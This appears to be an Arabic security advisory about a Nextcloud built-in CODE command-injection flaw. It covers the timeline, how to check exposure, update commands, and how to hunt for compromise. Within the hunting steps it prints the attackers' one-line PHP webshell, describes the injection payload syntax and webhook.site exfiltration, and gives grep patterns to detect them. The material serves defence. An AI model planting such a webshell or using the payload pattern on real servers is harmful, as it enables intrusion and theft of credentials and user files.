في 23 أكتوبر 2026 أضافت وكالة CISA الأمريكية الثغرة CVE-2026-110447 إلى قائمة الثغرات المستغلة فعلياً (KEV)، ومنحت الجهات الفيدرالية الأمريكية مهلة حتى 26 أكتوبر لمعالجتها. تقع الثغرة في تطبيق Collabora Online - Built-in CODE Server، وهو تطبيق Nextcloud باسم الحزمة richdocumentscode يشغّل نسخة مدمجة من حزمة Collabora المكتبية داخل Nextcloud نفسه، ليحرّر المستخدمون المستندات في المتصفح دون خادم مستندات منفصل. يصفها سجل NVD بأنها حقن أوامر نظام تشغيل في proxy.php "استُغل فعلياً في سبتمبر وأكتوبر 2026"، بدرجة 9.2 وفق CVSS 4.0.
ما يستحق انتباهك هنا هو تسلسل الأحداث. صدر الإصلاح في 11 سبتمبر. سجّل المسؤولون أول هجمات ناجحة في 10 سبتمبر. ولم يكن للثغرة رقم CVE حتى 14 أكتوبر. فإذا حدّثت التطبيق متأخراً، أو ما زال مثبتاً لكنه معطّل، فالتحديث نصف المهمة فقط. عليك أيضاً البحث عمّا تركه المهاجمون خلفهم.
كيف مرّت الأسابيع الخمسة
- 31 أغسطس: صدر الإصدار 26.4.302 من
richdocumentscodeبحسب صفحة الإصدارات على GitHub. هذا الإصدار وكل ما قبله معرّض للثغرة. - 10 سبتمبر: مسؤول يستضيف عدة خوادم Nextcloud ينشر لاحقاً أسطراً من سجل الوصول تُظهر هجوماً ناجحاً عند 19:51 مساء ذلك اليوم (البلاغ رقم 354).
- 11 سبتمبر: صدر الإصدار 26.4.303 متضمناً الإصلاح. فُتح البلاغ المذكور بعد الإصدار بنحو ساعة.
- 3 أكتوبر: منشور في منتدى Nextcloud يطلب من مستخدمي built-in CODE التحديث "في أقرب وقت ممكن"، مشيراً إلى أنه "لم يُنشر أي تحذير أو CVE" وأن بعض المستخدمين وجدوا webshells على خوادمهم.
- 14 أكتوبر: نشرت Collabora النشرة GHSA-g3vx-3m76-fghh وأصبح رقم CVE علنياً.
- 23 أكتوبر: أدرجتها CISA ضمن الثغرات المستغلة. وفي اليوم نفسه صدر الإصدار 26.4.502 من
richdocumentscode.
لماذا تأخر رقم CVE
تقول Collabora في تدوينتها بتاريخ 15 أكتوبر إن فريقها الأمني عالج هذا العام ما يعادل نحو عشر سنوات من البلاغات، كثير منها ناتج عن عمليات تدقيق تعتمد على الذكاء الاصطناعي، وإن مدة نشر CVE عبر GitHub "انتقلت هذا العام من نحو يوم إلى أسابيع كثيرة". وأشار أحد مطوري Collabora إلى التراكم نفسه في قاعدة نشرات GitHub في البلاغ بتاريخ 14 سبتمبر. وتقول Collabora إنها تقدّمت لتصبح جهة ترقيم CVE (CNA) لتقصير هذا التأخير.
وهذه ليست حالة منفردة. قاس مشروع Patchless Window عدد 18,594 ثغرة CVE مفتوحة المصدر بين يناير وأغسطس 2026، ووجد أن الوسيط بلغ 39 يوماً في أغسطس بين نشر الإصلاح علناً في الشيفرة ونشر CVE. إذا كان الترقيع لديك يعتمد على ماسح ثغرات، فهذا أكثر من شهر يكون فيه الإصلاح علنياً، ويستطيع المهاجم قراءة الفروقات، بينما لا تُظهر أدواتك شيئاً. رأينا: لكل ما هو مكشوف على الإنترنت، ثبّت تحديثات التطبيقات فور صدورها، واعتبر رقم CVE تأكيداً متأخراً.
هل أنت معرّض؟
أنت معرّض إذا كان richdocumentscode مثبتاً على Nextcloud بإصدار أقدم من 26.4.303 وكان الخادم قابلاً للوصول من الخارج. وتضيف النشرة تفاصيل تغيّر الإجابة في البيئات الفعلية:
- التعطيل لا يعني الأمان. تقول النشرة إن تعطيل التطبيق لا يكفي، ويجب ترقيته إلى 26.4.303 أو أحدث أو إزالته. وقد أكّد أحد المسؤولين في 30 أكتوبر أن الهجوم نجح ضد تطبيق معطّل.
- النافذة تُفتح مع كل إعادة تشغيل. لا يعمل الحقن إلا حين يكون خادم built-in CODE متوقفاً: بعد إعادة تشغيل الحاوية أو الترقية أو الانهيار. يبدو ذلك ضيقاً إلى أن تحسب كم مرة يُعاد تشغيل خادم Nextcloud أو تُرقّى نسخته.
- خوادم Collabora المنفصلة سليمة. نسخة Collabora Online المستقلة غير متأثرة. وتذكر مدونة Collabora أن صور Docker وحزم RPM/DEB وصور Nextcloud All-in-One غير متأثرة أيضاً. إذا كنت تستخدم Nextcloud Office موصولاً بحاوية Collabora خاصة بك ولم يكن
richdocumentscodeمثبتاً، فهذه الثغرة لا تعنيك. - إصدارات Nextcloud القديمة. الإصدار 29 وما قبله خارج الدعم، وتنصح النشرة بترقية Nextcloud أو إزالة التطبيق.
- تختلف عن ثغرة العام الماضي. ليست هي CVE-2025-66208، وإصلاح تلك الثغرة لا يمنع هذه.
على خوادم ARM يوفّر متجر التطبيقات حزمة منفصلة باسم richdocumentscode_arm64. النشرة تذكر richdocumentscode فقط، لذا إن كنت تعمل على ARM فافحص ذلك المجلد أيضاً وأبقه محدّثاً.
الفحص والإصلاح في دقيقتين
شغّل هذه الأوامر من مجلد Nextcloud باسم مستخدم خادم الويب (عدّل المسار والمستخدم بحسب تثبيتك):
cd /var/www/nextcloud
sudo -u www-data php occ app:list | grep richdocumentscode
# Docker image installs
docker exec -u www-data <nextcloud-container> php occ app:list | grep richdocumentscode
يعرض الأمر app:list التطبيقات المفعّلة والمعطّلة مع إصداراتها. أي إصدار أقدم من 26.4.303 يحتاج إلى إجراء فوري:
sudo -u www-data php occ app:update richdocumentscode
# or, if nobody edits documents in the browser:
sudo -u www-data php occ app:remove richdocumentscode
انتقل إلى 26.4.502 إن أمكن. فبحسب أحد مشرفي Collabora في البلاغ نفسه، يوقف هذا الإصدار أيضاً عملية CODE المدمجة عند تعطيل التطبيق.
ابحث عن علامات اختراق سابق
إذا كان إصدار التطبيق أقدم من 26.4.303 في أي وقت بعد 10 سبتمبر، فافترض أن الفحص ضروري. التحديث لا يحذف ما كتبه المهاجم بالفعل.
1. سجلات الوصول. الطلبات المنشورة في البلاغ رقم 354 تستهدف /apps/richdocumentscode/proxy.php?status وتحمل في المسار صيغة أوامر shell: $( و${IFS} وكتلة base64 تُمرَّر إلى sh، وأحياناً %2e%2e للصعود بين المجلدات. بحث سريع يشمل السجلات المدوّرة:
zgrep -h 'richdocumentscode/proxy.php' /var/log/nginx/access.log* /var/log/apache2/access.log* 2>/dev/null \
| grep -E '\$\(|%24%28|IFS|base64'
العناوين المصدرية المذكورة في البلاغ هي 139.28.18.122 في 10 و11 سبتمبر و89.38.98.50 في 14 سبتمبر. اعتبرها أمثلة لا قائمة حظر. وإذا كانت سجلاتك لا تتجاوز أربعة أسابيع، فأولى الهجمات اختفت بالفعل، ومن المفيد تدوين ذلك في ملاحظات الحادث.
2. ملفات webshell. فكّ ترميز الحمولة المنشورة في البلاغ يُظهر ملف PHP من سطر واحد ينفّذ أي أمر يصل في المعامل c: <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');. يتغير اسم الملف مع كل طلب. من الأمثلة المبلّغ عنها shrf4645.php وshxa35d0.php في البلاغ رقم 354، وshx13a86.php في تعليق لاحق، وNx_33143.php داخل apps/richdocumentscode/ في منتدى Nextcloud. اكتشف اثنان من هؤلاء المسؤولين الملفات لأن فحص السلامة في Nextcloud أبلغ عن ملف زائد بعد الترقية، فابدأ من هناك:
sudo -u www-data php occ integrity:check-app richdocumentscode
sudo -u www-data php occ integrity:check-core
grep -rlF 'shell_exec($c' /var/www/nextcloud --include='*.php'
find /var/www/nextcloud -type f \( -name 'sh*.php' -o -name 'Nx_*.php' \) -newermt 2026-09-01
ناتج find قائمة للمراجعة وليس حكماً. ترقية Nextcloud بعد 1 سبتمبر تعيد كتابة ملفات سليمة أيضاً، فافتح كل ما يظهر قبل حذفه.
3. الاتصالات الصادرة. ترسل الحمولات بعد فكّ ترميزها ناتج uname -a إلى webhook.site عبر curl أو wget. ابحث عن هذا النطاق في سجلات DNS أو الوكيل أو الجدار الناري الصادرة من خادم Nextcloud.
4. العمليات والاستمرارية. شغّل ps -u www-data -o pid,lstart,args وابحث عن عمليات فرعية مثل sh أو curl أو wget، ثم راجع crontab -u www-data -l بحثاً عن مدخلات لم تضفها. قال أحد مطوري Collabora إن بعض أسطر العمليات المتبقية تبدو مقلقة لكنها "يُفترض أن تكون غير ضارة". افحصها مع ذلك.
إذا وجدت webshell
يعمل الـ shell باسم مستخدم خادم الويب. في التثبيت المعتاد يستطيع هذا المستخدم قراءة config/config.php الذي يحوي كلمة مرور قاعدة البيانات، وقيمة secret الخاصة بالنسخة، وكلمة مرور SMTP التي يستخدمها Nextcloud لرسائل الإشعارات، وأي مفاتيح تخزين كائنات. وبكلمة مرور قاعدة البيانات يصل إلى كل ما خُزّن فيها أيضاً، بما في ذلك إعدادات ربط LDAP. ويستطيع كذلك قراءة مجلد البيانات، أي ملفات جميع المستخدمين. ذكر موقع BleepingComputer أن المسؤولين رأوا المهاجمين يبحثون عن قواعد كلمات المرور وملفات مديري كلمات المرور ومحافظ العملات المشفرة. وقال أحد المعلّقين إن مشغلي برمجيات الفدية بدأوا استغلال الثغرة، وهو ما لم يستطع BleepingComputer تأكيده.
ترتيب عمل معقول:
- انسخ السجلات وملفات webshell إلى مكان آمن قبل حذف أي شيء، ثم ضع النسخة في وضع الصيانة (
occ maintenance:mode --on) أو افصلها عند الجدار الناري. - احذف ملفات الـ shell، وحدّث التطبيق أو أزله، وأعد تشغيل فحصي السلامة حتى تأتي النتيجة نظيفة.
- غيّر كل بيانات الاعتماد الموجودة في
config.php: مستخدم قاعدة البيانات وSMTP وربط LDAP ومفاتيح S3 أو Swift، إضافة إلى رموز API لأي خدمة يتصل بها Nextcloud. وإذا كان المستخدمون يستعملون تطبيق Nextcloud Mail، فكلمات مرور صناديق البريد المحفوظة مشفّرة بمفتاح مأخوذ من الملف نفسه، فاطلب منهم تغييرها على خادم البريد. - راجع مجموعة المسؤولين (
occ group:list) بحثاً عن حسابات غير معروفة، وراجع كلمات مرور التطبيقات. - إذا وجدت شيئاً أبعد من ملف الـ shell نفسه، مثل تغييرات خارج
apps/أو مهام cron جديدة أو ملفات تنفيذية مجهولة، فأعد بناء الخادم من صورة نظيفة واستعد البيانات من نسخة احتياطية أُخذت قبل 10 سبتمبر، بدلاً من التنظيف في مكانه.
إنه النمط نفسه الذي شرحناه بعد ثغرات اليوم صفر في Citrix NetScaler: التحديث يغلق الباب، لكنه لا يفعل شيئاً بشأن المفاتيح التي نُسخت حين كان مفتوحاً.
ما الذي سنغيّره بعد هذه الحادثة
وُجد تطبيق built-in CODE للتسهيل. فهو يسمح لسكربت PHP داخل Nextcloud بتنزيل AppImage وتشغيله، وفي هذا التسهيل تحديداً كان الحقن. لنسخة تخدم شركة، نشغّل Collabora في حاوية مستقلة خلف reverse proxy ونوصل Nextcloud Office بها، وهو إعداد تصنّفه Collabora بأنه غير متأثر. وإلى جانب ذلك:
- أزل التطبيقات التي لا تستخدمها بدلاً من تعطيلها. هذه الثغرة أوضح حجة رأيناها هذا العام لهذه القاعدة.
- جدول الأمر
occ app:update --allأسبوعياً. إصلاحات التطبيقات تصدر بجدول خاص بها منفصل عن إصدارات Nextcloud، كما حدث هنا. - راقب بيئة PHP أيضاً. Nextcloud تطبيق PHP، لذا فإن إصلاحات PHP2Shell الصادرة الشهر الماضي تنطبق عليه.
- جدار حماية تطبيقات الويب (WAF) يساعد عند الحافة. أفاد أحد المسؤولين بأن قواعد تسجيل الشذوذ في ModSecurity حجبت هذه الطلبات. هذه طبقة ثانية وليست بديلاً عن التحديث.
وإذا كنت تشغّل خادم بريد خاصاً بك بجانب Nextcloud، فإن دليل فحص اختراق Zimbra يشرح خطوة بخطوة البحث نفسه لمنظومة البريد.
الأسئلة الشائعة
أي إصدار من Built-in CODE Server في Nextcloud يصلح الثغرة CVE-2026-110447؟
يصلحها الإصدار 26.4.303 من Collabora Online - Built-in CODE Server (richdocumentscode) الصادر في 11 سبتمبر 2026. والإصدار 26.4.502 الصادر في 23 أكتوبر 2026 أحدث، ويوقف أيضاً عملية CODE المدمجة عند تعطيل التطبيق.
هل يبقى تطبيق richdocumentscode المعطّل معرّضاً للثغرة؟
نعم. تقول نشرة Collabora إن التعطيل لا يكفي. يجب ترقية التطبيق إلى 26.4.303 أو أحدث، أو إزالته بالأمر occ app:remove richdocumentscode.
هل تؤثر CVE-2026-110447 على خادم Collabora Online مستقل؟
لا. بحسب Collabora، فإن نسخة Collabora Online المستقلة وصور Docker وحزم RPM وDEB وصور Nextcloud All-in-One غير متأثرة. المتأثر فقط تثبيتات Nextcloud التي تحتوي على تطبيق richdocumentscode.
كيف أعرف إن كان خادم Nextcloud لديّ قد اختُرق عبر هذه الثغرة؟
ابحث في سجلات خادم الويب منذ 10 سبتمبر 2026 عن طلبات إلى /apps/richdocumentscode/proxy.php تحتوي على صيغة أوامر shell، وشغّل occ integrity:check-app richdocumentscode وocc integrity:check-core، وابحث عن ملفات PHP غير متوقعة مثل shx*.php في مجلد apps، وراجع سجلات DNS بحثاً عن اتصالات بـ webhook.site.
المصادر: نشرة Collabora رقم GHSA-g3vx-3m76-fghh، وسجل NVD للثغرة CVE-2026-110447، وقائمة KEV لدى CISA، والبلاغ رقم 354 في richdocumentscode، ومدونة Collabora بتاريخ 15 أكتوبر 2026، وبقية الروابط أعلاه.


